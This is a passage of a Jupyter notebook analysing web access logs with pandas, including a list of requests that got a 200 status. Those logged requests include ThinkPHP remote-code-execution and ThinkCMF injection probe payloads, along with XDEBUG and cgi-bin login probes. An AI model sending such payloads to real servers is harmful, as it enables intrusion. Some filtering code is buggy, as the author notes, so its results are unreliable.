       "4747                                                NaN   \n",
       "4748                                                NaN   \n",
       "4749                                                NaN   \n",
       "4750                                                NaN   \n",
       "4751                                                NaN   \n",
       "4752                                                NaN   \n",
       "4753                                                NaN   \n",
       "4754                                                NaN   \n",
       "4755                                                NaN   \n",
       "4756                                                NaN   \n",
       "4757                                                NaN   \n",
       "4758                                                NaN   \n",
       "4759                                                NaN   \n",
       "4760                                                NaN   \n",
       "4761                                                NaN   \n",
       "4762                                                NaN   \n",
       "4763                                                NaN   \n",
       "4764                                                NaN   \n",
       "4765          http://54.186.126.200/TP/public/index.php   \n",
       "4766                                                NaN   \n",
       "4767  https://dhtgame.site/como-olvidar-lo-mejor-de-...   \n",
       "4768                                                NaN   \n",
       "4769                                                NaN   \n",
       "4770                                                NaN   \n",
       "4771                                                NaN   \n",
       "4772                                                NaN   \n",
       "4773                                                NaN   \n",
       "4774                                                NaN   \n",
       "4775                                                NaN   \n",
       "\n",
       "                                             user_agent  \n",
       "0                                                   XTC  \n",
       "1     Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "2     Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "3     Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "4     Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "5                                 Mozilla/5.0 zgrab/0.x  \n",
       "6                                           Mozilla/5.0  \n",
       "7     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...  \n",
       "8     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...  \n",
       "9     Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6...  \n",
       "10    Mozilla/5.0 zgrab/0.x (compatible; Researchsca...  \n",
       "11    Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "12    Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "13    Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "14    Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62....  \n",
       "15    Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "16                                                  NaN  \n",
       "17                                                   Hi  \n",
       "18    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0...  \n",
       "19    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0...  \n",
       "20    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...  \n",
       "21    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...  \n",
       "22    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...  \n",
       "23    wiederfreibot/1.0 (+http://twitter.com/wiederf...  \n",
       "24    Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "25    Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "26    Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "27    Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62....  \n",
       "28    FeedFetcher-Google; (+http://www.google.com/fe...  \n",
       "29    FeedFetcher-Google; (+http://www.google.com/fe...  \n",
       "...                                                 ...  \n",
       "4746  Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3...  \n",
       "4747  Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3...  \n",
       "4748                                                NaN  \n",
       "4749                                                NaN  \n",
       "4750                                                NaN  \n",
       "4751                                                NaN  \n",
       "4752                                                NaN  \n",
       "4753                                                NaN  \n",
       "4754                                                NaN  \n",
       "4755                                                NaN  \n",
       "4756                                                NaN  \n",
       "4757                                                NaN  \n",
       "4758                               AWS Security Scanner  \n",
       "4759                               AWS Security Scanner  \n",
       "4760                               AWS Security Scanner  \n",
       "4761                               AWS Security Scanner  \n",
       "4762                               AWS Security Scanner  \n",
       "4763                                                NaN  \n",
       "4764  Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...  \n",
       "4765  Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...  \n",
       "4766                                                NaN  \n",
       "4767  Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...  \n",
       "4768                                                NaN  \n",
       "4769                                                NaN  \n",
       "4770  Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "4771  Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...  \n",
       "4772                                     polaris botnet  \n",
       "4773  Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "4774  Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "4775  Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...  \n",
       "\n",
       "[4776 rows x 7 columns]"
      ]
     },
     "execution_count": 41,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# find all rows where the data is in the most popular queries\n",
    "data.loc[data['request'].isin(uniquerequests)]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "metadata": {},
   "outputs": [],
   "source": [
    "basicgets=['GET / HTTP/1.1','GET /robots.txt HTTP/1.1','GET / HTTP/1.0']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "Empty DataFrame\n",
       "Columns: [ip, time, request, status, size, referer, user_agent]\n",
       "Index: []"
      ]
     },
     "execution_count": 43,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# How many of the popular unique requests got through? \n",
    "# this can't be right - clearly GET / HTTP/1.1 calls get through\n",
    "data.loc[data['request'].isin(uniquerequests) & data['status'] == 200]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 59,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "(3150, 7)"
      ]
     },
     "execution_count": 59,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# filter with ~ anything that's a non-interesting request. that drops 1300\n",
    "data[~data['request'].isin(basicgets)].shape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 51,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Filter out basic GETs\n",
    "df1 = data.loc[~data['request'].isin(basicgets)]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 55,
   "metadata": {},
   "outputs": [],
   "source": [
    "# unique IPs\n",
    "uniqueip = df1['ip'].unique().copy()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 62,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>68.132.136.198</td>\n",
       "      <td>2020-04-20 06:28:16+00:00</td>\n",
       "      <td>POST /cgi-bin/mainfunction.cgi HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>592</td>\n",
       "      <td>NaN</td>\n",
       "      <td>XTC</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:00+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>574</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>37.187.75.16</td>\n",
       "      <td>2020-04-20 06:29:02+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4962</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>42.230.207.98</td>\n",
       "      <td>2020-04-20 06:45:14+00:00</td>\n",
       "      <td>GET /adv,/cgi-bin/weblogin.cgi?username=admin%...</td>\n",
       "      <td>301</td>\n",
       "      <td>721</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>162.241.244.109</td>\n",
       "      <td>2020-04-20 06:46:41+00:00</td>\n",
       "      <td>GET /dev/ HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>536</td>\n",
       "      <td>http://suckerpun.ch/</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                ip                      time  \\\n",
       "0   68.132.136.198 2020-04-20 06:28:16+00:00   \n",
       "1     37.187.75.16 2020-04-20 06:29:00+00:00   \n",
       "2     37.187.75.16 2020-04-20 06:29:02+00:00   \n",
       "6    42.230.207.98 2020-04-20 06:45:14+00:00   \n",
       "7  162.241.244.109 2020-04-20 06:46:41+00:00   \n",
       "\n",
       "                                             request  status  size  \\\n",
       "0            POST /cgi-bin/mainfunction.cgi HTTP/1.1     301   592   \n",
       "1                         GET /wp-login.php HTTP/1.1     301   574   \n",
       "2                         GET /wp-login.php HTTP/1.1     404  4962   \n",
       "6  GET /adv,/cgi-bin/weblogin.cgi?username=admin%...     301   721   \n",
       "7                                 GET /dev/ HTTP/1.1     301   536   \n",
       "\n",
       "                referer                                         user_agent  \n",
       "0                   NaN                                                XTC  \n",
       "1                   NaN  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "2                   NaN  Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...  \n",
       "6                   NaN                                        Mozilla/5.0  \n",
       "7  http://suckerpun.ch/  Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...  "
      ]
     },
     "execution_count": 62,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df1.loc[data['ip'].isin(uniqueip)].head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 64,
   "metadata": {},
   "outputs": [],
   "source": [
    "useragents = df1['user_agent'].unique()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 66,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "86"
      ]
     },
     "execution_count": 66,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "len(useragents)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 77,
   "metadata": {},
   "outputs": [],
   "source": [
    "botagents = [x for x in useragents if 'bot' or 'Bot' or 'AWS Security Scanner' in x]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 78,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>time</th>\n",
       "      <th>request</th>\n",
       "      <th>status</th>\n",
       "      <th>size</th>\n",
       "      <th>referer</th>\n",
       "      <th>user_agent</th>\n",
       "      <th>isbot</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "Empty DataFrame\n",
       "Columns: [ip, time, request, status, size, referer, user_agent, isbot]\n",
       "Index: []"
      ]
     },
     "execution_count": 78,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df1.loc[~df1['user_agent'].isin(botagents)]"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 79,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/usr/local/lib/python3.7/site-packages/ipykernel_launcher.py:1: SettingWithCopyWarning: \n",
      "A value is trying to be set on a copy of a slice from a DataFrame.\n",
      "Try using .loc[row_indexer,col_indexer] = value instead\n",
      "\n",
      "See the caveats in the documentation: http://pandas.pydata.org/pandas-docs/stable/indexing.html#indexing-view-versus-copy\n",
      "  \"\"\"Entry point for launching an IPython kernel.\n"
     ]
    }
   ],
   "source": [
    "df1['isbot'] = df1['user_agent'].isin(botagents)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 82,
   "metadata": {},
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "/usr/local/lib/python3.7/site-packages/ipykernel_launcher.py:1: SettingWithCopyWarning: \n",
      "A value is trying to be set on a copy of a slice from a DataFrame\n",
      "\n",
      "See the caveats in the documentation: http://pandas.pydata.org/pandas-docs/stable/indexing.html#indexing-view-versus-copy\n",
      "  \"\"\"Entry point for launching an IPython kernel.\n"
     ]
    }
   ],
   "source": [
    "df1.dropna(inplace=True)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 89,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "322     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "325     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "328     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "329     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "330     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "332     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "338     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "339     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "340     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "341     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "342     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "343     Mozilla/5.0 (compatible; Let's Encrypt validat...\n",
       "568     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "570     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "572     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "720     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "721     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "724     Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "835     Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "837     Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "839                                    Go-http-client/1.1\n",
       "1606    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "1608    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "1610                                   Go-http-client/1.1\n",
       "1758    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "1759    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "1760    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "2008    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "2010    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "2012                                   Go-http-client/1.1\n",
       "2131    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2132    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2133    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2134    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2135    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2398    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2399    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2400    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2401    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2402    Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...\n",
       "2571    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "2573    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "2575                                   Go-http-client/1.1\n",
       "3008    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; ...\n",
       "3167    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "3169    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "3171                                   Go-http-client/1.1\n",
       "3272    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3273    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3275    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3405    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3407    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3410    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3570    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "3572    Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...\n",
       "3574                                   Go-http-client/1.1\n",
       "3618    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3619    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "3623    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...\n",
       "Name: user_agent, dtype: object"
      ]
     },
     "execution_count": 89,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df1[df1['status'] == 200]['user_agent']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 107,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "322                                               GET /.well-known/acme-challenge/ivMHDaDGnzE5yFLUf5cj3MmnCsbEoEgDWzhcYlYlnCs HTTP/1.1\n",
       "325                                               GET /.well-known/acme-challenge/arjSI5gOf0rmsovF9ov-6Hn-OgORdh2nqhWs4F5el48 HTTP/1.1\n",
       "328                                               GET /.well-known/acme-challenge/ivMHDaDGnzE5yFLUf5cj3MmnCsbEoEgDWzhcYlYlnCs HTTP/1.1\n",
       "329                                               GET /.well-known/acme-challenge/bdxwtIbO0NIv_gvvIoImmWW1rhB1DGr9E47OrP8dFFA HTTP/1.1\n",
       "330                                               GET /.well-known/acme-challenge/arjSI5gOf0rmsovF9ov-6Hn-OgORdh2nqhWs4F5el48 HTTP/1.1\n",
       "332                                               GET /.well-known/acme-challenge/bdxwtIbO0NIv_gvvIoImmWW1rhB1DGr9E47OrP8dFFA HTTP/1.1\n",
       "338                                               GET /.well-known/acme-challenge/arjSI5gOf0rmsovF9ov-6Hn-OgORdh2nqhWs4F5el48 HTTP/1.1\n",
       "339                                               GET /.well-known/acme-challenge/ivMHDaDGnzE5yFLUf5cj3MmnCsbEoEgDWzhcYlYlnCs HTTP/1.1\n",
       "340                                               GET /.well-known/acme-challenge/bdxwtIbO0NIv_gvvIoImmWW1rhB1DGr9E47OrP8dFFA HTTP/1.1\n",
       "341                                               GET /.well-known/acme-challenge/ivMHDaDGnzE5yFLUf5cj3MmnCsbEoEgDWzhcYlYlnCs HTTP/1.1\n",
       "342                                               GET /.well-known/acme-challenge/arjSI5gOf0rmsovF9ov-6Hn-OgORdh2nqhWs4F5el48 HTTP/1.1\n",
       "343                                               GET /.well-known/acme-challenge/bdxwtIbO0NIv_gvvIoImmWW1rhB1DGr9E47OrP8dFFA HTTP/1.1\n",
       "568                                                                 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "570                                                                                       GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "572     GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "720                                                                 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "721                                                                                       GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "724     GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "835                                                                                                            GET /index.php HTTP/1.1\n",
       "837              GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "839                                                                                                  GET /index.php?s=captcha HTTP/1.1\n",
       "1606                                                                                                           GET /index.php HTTP/1.1\n",
       "1608             GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "1610                                                                                                 GET /index.php?s=captcha HTTP/1.1\n",
       "1758                                                                                      GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "1759                                                                GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "1760    GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "2008                                                                                                           GET /index.php HTTP/1.1\n",
       "2010             GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "2012                                                                                                 GET /index.php?s=captcha HTTP/1.1\n",
       "2131                                                                                                                GET /php/ HTTP/1.1\n",
       "2132                                                                                                          GET /ecommerce/ HTTP/1.1\n",
       "2133                                                                                                            GET /counter/ HTTP/1.1\n",
       "2134                                                                                                           GET /goldgame/ HTTP/1.1\n",
       "2135                                                                                                          GET /numbergame HTTP/1.1\n",
       "2398                                                                                                                GET /php/ HTTP/1.1\n",
       "2399                                                                                                          GET /ecommerce/ HTTP/1.1\n",
       "2400                                                                                                            GET /counter/ HTTP/1.1\n",
       "2401                                                                                                           GET /goldgame/ HTTP/1.1\n",
       "2402                                                                                                          GET /numbergame HTTP/1.1\n",
       "2571                                                                                                           GET /index.php HTTP/1.1\n",
       "2573             GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "2575                                                                                                 GET /index.php?s=captcha HTTP/1.1\n",
       "3008                                                                                    GET /get/Jeff.Sutch.Resume.latest.pdf HTTP/1.1\n",
       "3167                                                                                                           GET /index.php HTTP/1.1\n",
       "3169             GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "3171                                                                                                 GET /index.php?s=captcha HTTP/1.1\n",
       "3272                                                                GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "3273                                                                                      GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "3275    GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "3405                                                                GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "3407                                                                                      GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "3410    GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "3570                                                                                                           GET /index.php HTTP/1.1\n",
       "3572             GET /index.php?s=index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1\n",
       "3574                                                                                                 GET /index.php?s=captcha HTTP/1.1\n",
       "3618                                                                GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1\n",
       "3619                                                                                      GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\n",
       "3623    GET /index.php?s=/Index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1\n",
       "Name: request, dtype: object"
      ]
     },
     "execution_count": 107,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df1[df1['status'] == 200]['request']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 105,
   "metadata": {},
   "outputs": [],
   "source": [
    "pd.options.display.max_colwidth = 150"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 108,
   "metadata": {},
   "outputs": [],
   "source": [
    "safeurl=['GET /goldgame','GET /counter','GET /numbergame','GET ecommerce/']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 109,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "(59,)"
      ]
     },
     "execution_count": 109,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "df1[df1['status'] == 200]['request'].shape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 114,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "<matplotlib.axes._subplots.AxesSubplot at 0x125e11950>"
      ]
     },
     "execution_count": 114,
     "metadata": {},
     "output_type": "execute_result"
    },
    {
     "data": {
      "image/png": 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zLfU0i4j0QO7+kZntD/wc6A1c4u5PdXOzRERmWkqaRUR6KHe/Dbiti8LXLun4nMbtytgzWtyujD2jxe3K2DNa3K6MPUPF1Y2AIiIiIiIlVNMsIiIiIlJCSbOIiIiISAklzSIinyNmNquZWRfFtq6M3UVxZ8jvuc7eH8V+6Kr90VXv34yoC4/l3l0RtyuY2Szp38/VcTFD/jEREZFpmdmSwCPAZmbWtxPjLmZma3gX3ARjZnMAuLt3ZkJnZouY2VLu/klnJ4pmNsLMVunMfZzizm9mq8Cn+6NTEg4zGw2cbmbDOnt/mNl8ZrZAZ7Y3xZ3bzObtrHhZ3MFmNndnx02xv2tm4zv7c2JmXwBw9487+b2bx8wGdFa8LO6SwFNmtlYX7It5OjNeXUqaRUQ+B1LyeQIxC9YewDpmNt0jJJnZIsCDwN1mtl0nJ3OLAzeY2aEAnZXQmdko4HfAE2Y2sTMTxRT7eeBoYPU0hnZnxB0LPAQcaWabQuckzmY2ErgLWBL4TmcmzmY2DvgtcImZje2sY8PMlgCeAPY0swXKtq8RdywxNf03zGxwZ8VNsb8FHAT8wMyWTes6Y19cQezfE6FTPyOLA38GDi1OXDtDOiE5GXgVOMvMJnZi7HHA39O+7hZKmkVEPh8MOM/dJwI3AIcDX5ie3tD0pb8ucAQwAbgoS5x7TU9SYGZzApcC/waGmNnBMP1JQXrtZsBXgK2Bm1Mv+SfTe3k7xV6NSAp+BWxLJyTOaT9uA9wOXElcKdgEOiVxHkDs5z2IJKlTepzTCdlRxDji1wInZYnz9MQdQCSfTwAjiX0xvNl4Wdz+wM7AecBcwFc6K3FOSecrwOzAucBPzGzZtC+aPubMbAIwgnjvhjUkztMTdwCwL/F3YjywV2cmzsSY8msApxMJ/8T0c6fnuBgIHEjs37XM7IROaWnddmjIORGRzwczG+Du76X/704kCae7+61mtoi7/6mJmLMCLe7+spmtB1wD7O3uV6Xn+7r7h022d03gRWA5YD3gj8AZRaLY7KXddAl3Nnf/i5ntCpwFbO7u96Tne7n7J03GHgr8293/Z2bHAcOIpPG+Yt83GXc2oiNrNmBzYFngZne/eTpiWtqX/d39fTNbENgbWBQ43N1fMbPZ3f0/TcYfAvQDPgJ2A1YEjnH3p6ejzX2BJdz9cTNbC9gTuB+4yd1faTZuir20u//OzFqAC4Fnge8Cb0xvGYGZzQW8kyYl+gowGdjV3R+ezrgLAa8BywD7AS+5+3HpuaaO45Rwj3f3B81sKWIf3Apc7O5vTU97U/z879CexMnVXu5+j5ktDLzq7h80EXeiu/86XX24FbjB3b82ve2t1QYlzSIinx95spm+sDYjyiv2ALZ29981EytbVyTOmxMJ71bA2c0kzmbWO9Vp9gc2JBLnF9z99JT4/mc6EvJ8P+wCnA2sBLwLbABcNB2Jc6/U22fAscBwIjEfRpxg/LiZuFn8+Yn3bXngfOA9YFZ3f2h64qbYI4nEuYUo21gFOLZu4tx4bJjZfMAkYOX07+zAIHd/ook2fnoiZmZrA7s